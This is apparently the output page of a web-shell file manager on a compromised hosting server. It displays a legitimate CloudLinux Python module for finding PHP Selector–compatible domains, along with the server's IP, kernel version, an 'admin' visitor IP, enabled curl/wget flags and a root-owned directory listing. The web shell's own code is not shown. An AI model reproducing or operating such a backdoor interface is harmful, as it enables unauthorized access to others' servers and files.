✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/clselect//clselectdomains.py
#!/opt/cloudlinux/venv/bin/python3 -bb
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
Panel-specific rules for determining which domains are compatible
with PHP Selector.

Each panel has its own set of allowed handler types (and version
filters for Plesk).  The public helpers aggregate these into a
simple mapping ``{username: {domain, …}}`` or a flat ``set`` of
domain names.
"""

from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
from collections import defaultdict
from future.utils import iteritems

from cldetectlib import get_suEXEC_status
from clcommon.cpapi import get_domains_php_info, get_system_php_info, getCPName


def _is_acceptable_php_handler_cpanel(handler):
    """
    Handler is supported in the following cases:
    - handler is suphp or lsapi with suexec or suphp (check for last two is
      in the _get_php_selector_usage method)
    - handler is cgi or fcgi (only with suexec, otherwise scripts do not run in cagefs)
    - handler is None (possible when php package was removed and we can`t detect handler, it is set to None)
    """
    return handler in {'suphp', 'lsapi'} or \
        handler in {'cgi', 'fcgi'} and get_suEXEC_status() or handler is None


def _get_php_selector_domains_for_cpanel():
    """
    Return domains that are using php selector.

    1. Skip domains whose version is not system default (php selector
       replaces only system default version binary with symlink to alt-php)
    2. Take only domains that use supported handlers.
    """
    vhosts_php_info = get_domains_php_info()
    default_php_id = get_system_php_info()['default_version_id']
    phpselector_domains = defaultdict(set)
    for domain, domain_info in iteritems(vhosts_php_info):
        if domain_info['php_version_id'] != default_php_id:
            continue

        if _is_acceptable_php_handler_cpanel(domain_info['handler_type']):
            phpselector_domains[domain_info['username']].add(domain)
    return dict(phpselector_domains)


def _get_php_selector_domains_for_plesk():
    """
    Return domains that meet panel specific requirements which will allow php
    selector to work when the common requirements are met.
    """

    allowed_handlers = ('cgi', 'fastcgi')

    def is_allowed_version(handler_id):
        lsphp_vendor_version = 'x-httpd-lsphp-custom'
        if 'lsphp' in handler_id:
            return handler_id == lsphp_vendor_version
        return True

    domains_php_info = get_domains_php_info()

    result = defaultdict(set)
    for domain, info in iteritems(domains_php_info):
        if (info['handler_type'] in allowed_handlers and
                is_allowed_version(info['php_version_id'])):
            result[info['username']].add(domain)
    return dict(result)


def _get_php_selector_domains_for_da():
    """
    Return domains that meet panel specific requirements which will allow php
    selector to work when the common requirements are met.
    """
    allowed_handlers = ('fastcgi', 'suphp', 'cgi', 'lsphp')
    domains_php_info = get_domains_php_info()
    result = defaultdict(set)
    for domain, php_info in iteritems(domains_php_info):
        if php_info['handler_type'] in allowed_handlers:
            result[php_info['username']].add(domain)
    return dict(result)


def _get_php_vhosts_for_current_panel():
    """
    Detect current control panel and
    get list of php selector domains for it
    Return None if control panel is not supported
    """
    panel = getCPName()
    if panel == 'cPanel':
        return _get_php_selector_domains_for_cpanel()
    elif panel == 'DirectAdmin':
        return _get_php_selector_domains_for_da()
    elif panel == 'Plesk':
        return _get_php_selector_domains_for_plesk()
    else:
        # php selector is not officially
        # supported on another control panels
        return None


def get_php_selector_compatible_domains():
    """
    Return domains compatible with PHP Selector for the current panel.
    Result: {username: {domain, ...}, ...} or None if panel is unsupported.
    """
    return _get_php_vhosts_for_current_panel()


def get_all_selector_compatible_domains_flat():
    """
    Return a flat set of all domains compatible with PHP Selector
    across all users, or an empty set if panel is unsupported.
    """
    by_user = _get_php_vhosts_for_current_panel()
    if by_user is None:
        return set()
    result = set()
    for domains_set in by_user.values():
        result.update(domains_set)
    return result


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jun 2026 7.01 AM
root / root
0755
__pycache__
--
23 Jun 2026 7.07 AM
root / root
0755
baseclselect
--
23 Jun 2026 7.01 AM
root / root
0755
clselectnodejs
--
23 Jun 2026 7.01 AM
root / root
0755
clselectnodejsuser
--
23 Jun 2026 7.01 AM
root / root
0755
clselectphp
--
23 Jun 2026 7.01 AM
root / root
0755
clselectphpuser
--
23 Jun 2026 7.01 AM
root / root
0755
clselectpython
--
23 Jun 2026 7.01 AM
root / root
0755
clselectpythonuser
--
23 Jun 2026 7.01 AM
root / root
0755
clselectruby
--
23 Jun 2026 7.01 AM
root / root
0755
__init__.py
0.523 KB
3 Jun 2026 1.51 PM
root / root
0644
clextselect.py
19.605 KB
3 Jun 2026 1.51 PM
root / root
0644
clpassenger.py
27.834 KB
3 Jun 2026 1.51 PM
root / root
0644
clselect.py
21.964 KB
3 Jun 2026 1.51 PM
root / root
0644
clselectctl.py
10.045 KB
3 Jun 2026 1.51 PM
root / root
0644
clselectctlnodejsuser.py
22.341 KB
3 Jun 2026 1.51 PM
root / root
0644
clselectctlphp.py
45.916 KB
3 Jun 2026 1.51 PM
root / root
0644
clselectctlpython.py
47.865 KB
3 Jun 2026 1.51 PM
root / root
0644
clselectctlruby.py
18.587 KB
3 Jun 2026 1.51 PM
root / root
0644
clselectdomains.py
4.596 KB
3 Jun 2026 1.51 PM
root / root
0644
clselectexcept.py
10.221 KB
3 Jun 2026 1.51 PM
root / root
0644
clselectprint.py
5.386 KB
3 Jun 2026 1.51 PM
root / root
0644
clselectstatistics.py
3.806 KB
3 Jun 2026 1.51 PM
root / root
0644
cluserextselect.py
16.539 KB
3 Jun 2026 1.51 PM
root / root
0644
cluseroptselect.py
25.784 KB
3 Jun 2026 1.51 PM
root / root
0644
cluserselect.py
30.634 KB
3 Jun 2026 1.51 PM
root / root
0644
locked_extensions.ini
1.201 KB
3 Jun 2026 1.51 PM
root / root
0644
models.py
0.796 KB
3 Jun 2026 1.51 PM
root / root
0644
utils.py
16.362 KB
3 Jun 2026 1.51 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF